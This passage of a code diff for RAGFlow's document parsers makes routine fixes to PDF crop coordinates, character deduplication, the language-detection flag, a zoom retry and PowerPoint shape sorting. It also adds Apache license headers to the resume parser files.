@@ -749,6 +761,7 @@ class RAGFlowPdfParser:
                             "layoutno", "")))
 
                 left, top, right, bott = b["x0"], b["top"], b["x1"], b["bottom"]
+                if right < left: right = left + 1
                 poss.append((pn + self.page_from, left, right, top, bott))
                 return self.page_images[pn] \
                     .crop((left * ZM, top * ZM,
@@ -939,7 +952,7 @@ class RAGFlowPdfParser:
                 fnm, str) else pdfplumber.open(BytesIO(fnm))
             self.page_images = [p.to_image(resolution=72 * zoomin).annotated for i, p in
                                 enumerate(self.pdf.pages[page_from:page_to])]
-            self.page_chars = [[c for c in page.chars if self._has_color(c)] for page in
+            self.page_chars = [[{**c, 'top': c['top'], 'bottom': c['bottom']} for c in page.dedupe_chars().chars if self._has_color(c)] for page in
                                self.pdf.pages[page_from:page_to]]
             self.total_page = len(self.pdf.pages)
         except Exception as e:
@@ -972,7 +985,6 @@ class RAGFlowPdfParser:
             self.is_english = True
         else:
             self.is_english = False
-        self.is_english = False
 
         st = timer()
         for i, img in enumerate(self.page_images):
@@ -1008,6 +1020,8 @@ class RAGFlowPdfParser:
 
         self.page_cum_height = np.cumsum(self.page_cum_height)
         assert len(self.page_cum_height) == len(self.page_images) + 1
+        if len(self.boxes) == 0 and zoomin < 9: self.__images__(fnm, zoomin * 3, page_from,
+                                                                page_to, callback)
 
     def __call__(self, fnm, need_image=True, zoomin=3, return_html=False):
         self.__images__(fnm, zoomin)

deepdoc/parser/ppt_parser.py

@@ -10,6 +10,7 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+
 from io import BytesIO
 from pptx import Presentation
 
@@ -51,7 +52,7 @@ class RAGFlowPptParser(object):
                 break
             texts = []
             for shape in sorted(
-                    slide.shapes, key=lambda x: (x.top // 10, x.left)):
+                    slide.shapes, key=lambda x: ((x.top if x.top is not None else 0) // 10, x.left)):
                 txt = self.__extract(shape)
                 if txt:
                     texts.append(txt)

deepdoc/parser/resume/__init__.py

@@ -1,3 +1,16 @@
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
 import datetime
 
 

deepdoc/parser/resume/entities/corporations.py

@@ -1,3 +1,16 @@
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
 import re,json,os
 import pandas as pd
 from rag.nlp import rag_tokenizer